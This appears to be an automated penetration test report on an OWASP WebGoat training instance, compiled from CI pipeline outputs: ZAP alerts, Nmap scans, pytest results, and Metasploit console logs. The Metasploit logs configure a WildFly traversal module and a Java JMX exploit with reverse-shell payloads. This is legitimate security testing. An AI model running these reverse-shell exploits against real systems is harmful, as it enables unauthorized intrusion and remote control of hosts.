Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

12/10/2023

Executive Sumary

Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Staic code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure’s OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

Vulnerabilities and Recomendations

Pytest-Playwright Test Output Issue

GitHub Issue number # 498

GitHub Issue URL : Here!

Playwright
pytest

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0, playwright-0.4.3, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 24.11s ==============================

Stop pytests....

ZAP Full Scan Report

GitHub Issue number # 497

GitHub Issue URL : Here!

- Site: http://4.224.51.195:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.224.51.195:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.224.51.195:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.224.51.195:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://4.224.51.195:8080/WebGoat/login
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.224.51.195:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://4.224.51.195:8080/
    - http://4.224.51.195:8080/WebGoat/login
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://4.224.51.195:8080/
    - http://4.224.51.195:8080/WebGoat/login
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://4.224.51.195:8080/
    - http://4.224.51.195:8080/WebGoat/login
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://4.224.51.195:8080/
    - http://4.224.51.195:8080/WebGoat/login
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://4.224.51.195:8080/WebGoat/start.mvc
    - http://4.224.51.195:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.224.51.195:8080/
    - http://4.224.51.195:8080/robots.txt
    - http://4.224.51.195:8080/sitemap.xml
    - http://4.224.51.195:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 24:
    - http://4.224.51.195:8080/WebGoat
    - http://4.224.51.195:8080/WebGoat
    - http://4.224.51.195:8080/WebGoat
    - http://4.224.51.195:8080/WebGoat
    - http://4.224.51.195:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6492452677

Metasploit-ParrotOS Test output

GitHub Issue number # 496

GitHub Issue URL : Here!

parrotOS
metasploit

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.9 MB in 3s (7029 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

42 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6

libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl python3-typing-extensions

42 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.4 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6

libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl python3-typing-extensions

42 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.4 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

42 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 4.224.51.195

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/generic/shell*reverse*tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

Nmap-ParrotOS Scan output

GitHub Issue number # 495

GitHub Issue URL : Here!

parrotOS
nmap

Nmap vulnerability scanning
for 4.224.51.195

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.9 MB in 3s (6388 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

42 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6
libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl python3-typing-extensions
42 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 32.4 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6
libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl python3-typing-extensions
42 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 32.4 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Reading package lists...
Building dependency tree...
Reading state information...
42 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-12 07:20 UTC

Nmap scan report for 4.224.51.195

Host is up (0.24s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 b8:28:4a:52:64:14:46:cd:6c:71:b4:fc:98:8b:aa:56 (ECDSA)

|_ 256 46:b2:ce:ab:67:03:48:08:3e:c5:91:58:90:8e:15:dc (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 12 Oct 2023 07:24:14 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Thu, 12 Oct 2023 07:24:13 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Thu, 12 Oct 2023 07:24:13 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-10-12T07:24:13.472+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Thu, 12 Oct 2023 07:24:31 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-10-12T07:24:31.611+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=10/12%Time=65279F1D%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Thu, 12 Oct 2023 07:24:

SF:13 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Thu, 12\n

SF:x20Oct 2023 07:24:13 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Thu, 12\x

SF:20Oct 2023 07:24:14 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con

SF:tent-Length: 0 Connection: close

")%r(TerminalServerCoo

SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

")

SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x

SF:200 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(WMSRequest,42,"

SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio

SF:n: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=10/12%Time=65279F1D%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Thu, 12 Oct 2023 07:24:13\n

SF:x20GMT Connection: close Vary: Origin Vary: Access-Co

SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co

SF:ntent-Type-Options: nosniff Content-Type: application/json

SF: { \"timestamp\" : \"2023-10-12T07:24:13.472+00:00\n

SF:", \"status\" : 404, \"error\" : \"Not

SF:0Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request

SF:Content-Length: 0 Connection: close

")%r(SqueezeCenter_

SF:CLI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0 \n

SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid

SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache

SF:X-Frame-Options: DENY Date: Thu, 12 Oct 2023 07:24

SF::31 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR

SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n

SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-10-12T07

SF::24:31.611+00:00\", \"status\" : 404, \"error

SF:\" : \"Not Found\", \"path\" : \"/\" }")%r(RTS

SF:PRequest,42,"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3 cpe:/o:linux:linux*kernel:4.2 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 25 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 ... 24

25 239.01 ms 4.224.51.195

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 377.91 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-12 07:26 UTC

Nmap scan report for 4.224.51.195

Host is up (0.25s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.04 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-12 07:26 UTC

Nmap scan report for 4.224.51.195

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds

ZAP Full Scan Report

GitHub Issue number # 494

GitHub Issue URL : Here!

- Site: http://4.224.51.195:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.224.51.195:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.224.51.195:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.224.51.195:8080/WebGoat/login
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.224.51.195:8080/WebGoat/login
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://4.224.51.195:8080/robots.txt
    - http://4.224.51.195:8080/sitemap.xml
    - http://4.224.51.195:8080/WebGoat/login
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://4.224.51.195:8080/robots.txt
    - http://4.224.51.195:8080/sitemap.xml
    - http://4.224.51.195:8080/WebGoat/login
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://4.224.51.195:8080/robots.txt
    - http://4.224.51.195:8080/sitemap.xml
    - http://4.224.51.195:8080/WebGoat/login
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://4.224.51.195:8080/robots.txt
    - http://4.224.51.195:8080/sitemap.xml
    - http://4.224.51.195:8080/WebGoat/login
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.224.51.195:8080/
    - http://4.224.51.195:8080/robots.txt
    - http://4.224.51.195:8080/sitemap.xml
    - http://4.224.51.195:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 12:
    - http://4.224.51.195:8080/WebGoat
    - http://4.224.51.195:8080/WebGoat
    - http://4.224.51.195:8080/WebGoat
    - http://4.224.51.195:8080/WebGoat
    - http://4.224.51.195:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6492452677

Sonar Cloud Code Scan Report

GitHub Issue number # 493

GitHub Issue URL : Here!

SonarQube Cloud code scan

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Snyk Report

GitHub Issue number # 492

GitHub Issue URL : Here!

Snyk_scan

Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

Pytest-Playwright Test Output Issue

GitHub Issue number # 491

GitHub Issue URL : Here!

Playwright
pytest

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0, playwright-0.4.2, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 26.59s ==============================

Stop pytests....

Metasploit-ParrotOS Test output

GitHub Issue number # 490

GitHub Issue URL : Here!

parrotOS
metasploit

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.9 MB in 2s (9679 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

42 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6

libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl python3-typing-extensions

42 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.4 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6

libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl python3-typing-extensions

42 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.4 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

42 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 4.224.126.49

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

